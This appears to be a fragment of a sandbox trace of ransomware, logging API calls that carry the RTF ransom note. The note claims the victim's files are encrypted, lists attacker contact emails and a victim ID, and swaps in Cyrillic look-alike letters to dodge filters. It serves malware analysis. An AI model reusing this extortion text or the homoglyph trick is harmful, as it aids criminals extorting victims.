r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0039.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 